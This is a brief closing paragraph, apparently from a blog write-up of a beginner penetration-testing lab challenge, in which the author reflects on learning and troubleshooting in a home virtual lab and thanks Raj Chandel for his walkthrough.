All in all, a fun challenge. It took me some time to get things figured out, but it gave me a great introduction to basic penetration testing and making sure my home virtual lab was working nicely. I was able to try out several different tools and had to troubleshoot enough that I wasn’t just following the walkthrough. However, a giant hat tip/thank you to Raj Chandel for his walkthrough.